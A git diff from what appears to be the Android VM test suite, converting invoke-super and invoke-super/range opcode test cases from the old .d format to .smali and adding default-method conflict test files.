diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_28.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_28.smalis/ITestDefault.smali
new file mode 100644
index 0000000..50fbc7d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_28.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_28.smalis/ITestDefault2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_28.smalis/ITestDefault2.smali
new file mode 100644
index 0000000..b94e6f9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_28.smalis/ITestDefault2.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super/d/ITestDefault2;
+.super Ljava/lang/Object;
+.source "ITestDefault2.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_28.smalis/T_invoke_super_28.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_28.smalis/T_invoke_super_28.smali
new file mode 100644
index 0000000..e561884
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_28.smalis/T_invoke_super_28.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_28;
+.super Ljava/lang/Object;
+.source "T_invoke_super_28.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_super/d/ITestConflict;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-super {p0}, Ldot/junit/opcodes/invoke_super/d/ITestConflict;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_4.d
deleted file mode 100644
index 3f80ff8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_4.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_4
-.super dot/junit/opcodes/invoke_super/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-       invoke-super {v2}, dot/junit/opcodes/invoke_super/d/T_invoke_super_4/toIntNative()I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_4.smali
new file mode 100644
index 0000000..ce86aba
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_4.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_4;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+       invoke-super {v2}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_4;->toIntNative()I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_5.d
deleted file mode 100644
index af16744..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_5.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_5.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_5
-.super dot/junit/opcodes/invoke_super/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super/d/TSuper/<init>()V
-       return-void
-.end method
-
-
-.method public run()V
-.limit regs 3
-
-       invoke-super {v2}, dot/junit/opcodes/invoke_super/d/TSuper/toIntStatic()I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_5.smali
new file mode 100644
index 0000000..e89efd4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_5.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_5.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_5;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+
+.method public run()V
+.registers 3
+
+       invoke-super {v2}, Ldot/junit/opcodes/invoke_super/d/TSuper;->toIntStatic()I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_6.d
deleted file mode 100644
index 94361b9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_6.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_6
-.super dot/junit/opcodes/invoke_super/ATest
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super/ATest/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       invoke-super {v2}, dot/junit/opcodes/invoke_super/ATest/test()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_6.smali
new file mode 100644
index 0000000..b4a4aab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_6.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_6;
+.super  Ldot/junit/opcodes/invoke_super/ATest;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/ATest;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-super {v2}, Ldot/junit/opcodes/invoke_super/ATest;->test()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_7.d
deleted file mode 100644
index a62a1e5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_7.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_7
-.super dot/junit/opcodes/invoke_super/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-super {v2}, dot/junit/opcodes/invoke_super/d/T_invoke_super_7/toIntP()I
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_7.smali
new file mode 100644
index 0000000..5ac73c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_7.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_7;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-super {v2}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_7;->toIntP()I
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_8.d
deleted file mode 100644
index 48e9bdd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_8.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_8.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
-.limit regs 8
-
-       invoke-super {v6, v7}, java/lang/Object/equals(Ljava/lang/Object;)Z
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_8.smali
new file mode 100644
index 0000000..22ef2a5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_8.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_8.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-super {v6, v7}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_9.d
deleted file mode 100644
index 79626b9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_9.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
-.limit regs 8
-
-       invoke-super {v8, v7}, java/lang/Object/equals(Ljava/lang/Object;)Z
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_9.smali
new file mode 100644
index 0000000..542aaa2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_9.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-super {v8, v7}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TPlain.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TPlain.d
deleted file mode 100644
index ba9512e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TPlain.d
+++ /dev/null
@@ -1,31 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TPlain.java
-.class public dot.junit.opcodes.invoke_super_range.d.TPlain
-.super  java/lang/Object
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-
-.method public toInt()I 
-.limit regs 3
-    const v0, 5
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TPlain.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TPlain.smali
new file mode 100644
index 0000000..00e0a1d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TPlain.smali
@@ -0,0 +1,31 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "TPlain.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/TPlain;
+.super   Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
+.method public toInt()I 
+.registers 3
+    const v0, 5
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TSuper.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TSuper.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TSuper.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TSuper.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TSuper.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TSuper.smali
new file mode 100644
index 0000000..dece614
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TSuper.smali
@@ -0,0 +1,90 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+.super Ljava/lang/Object;
+.source "TSuper.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method private toIntPvt()I
+    .registers 3
+
+    const v0, 0x5
+
+    return v0
+.end method
+
+.method public static toIntStatic()I
+    .registers 3
+
+    const v0, 0x5
+
+    return v0
+.end method
+
+
+# virtual methods
+.method public testArgsOrder(II)I
+    .registers 4
+
+    const v0, 0x15d
+
+    const p0, 0x54250
+
+    div-int p1, p1, p2
+
+    return p1
+.end method
+
+.method public testString(Ljava/lang/String;)V
+    .registers 2
+
+    return-void
+.end method
+
+.method public toInt()I
+    .registers 3
+
+    const v0, 0x5
+
+    return v0
+.end method
+
+.method public toInt(F)I
+    .registers 3
+
+    float-to-int v0, p1
+
+    return v0
+.end method
+
+.method public native toIntNative()I
+.end method
+
+.method protected toIntP()I
+    .registers 3
+
+    const v0, 0x5
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TSuper2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TSuper2.d
deleted file mode 100644
index 90baf5d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TSuper2.d
+++ /dev/null
@@ -1,30 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TSuper2.java
-.class public dot.junit.opcodes.invoke_super_range.d.TSuper2
-.super dot/junit/opcodes/invoke_super_range/d/TSuper
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super_range/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public test()I 
-.limit regs 3
-    const v0, 123
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TSuper2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TSuper2.smali
new file mode 100644
index 0000000..1241479
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TSuper2.smali
@@ -0,0 +1,30 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "TSuper2.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/TSuper2;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public test()I 
+.registers 3
+    const v0, 123
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_1.d
deleted file mode 100644
index 4181eed..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_1.d
+++ /dev/null
@@ -1,41 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_1.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_1
-.super dot/junit/opcodes/invoke_super_range/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super_range/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 8
-
-       invoke-super/range {v7}, dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_1/toInt()I
-
-       move-result v0
-       return v0
-.end method
-
-
-.method public toInt()I 
-.limit regs 3
-    const v0, 777
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_1.smali
new file mode 100644
index 0000000..b1eec38
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_1.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_1.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_1;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 8
+
+       invoke-super/range {v7}, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_1;->toInt()I
+
+       move-result v0
+       return v0
+.end method
+
+
+.method public toInt()I 
+.registers 3
+    const v0, 777
+    return v0
+.end method
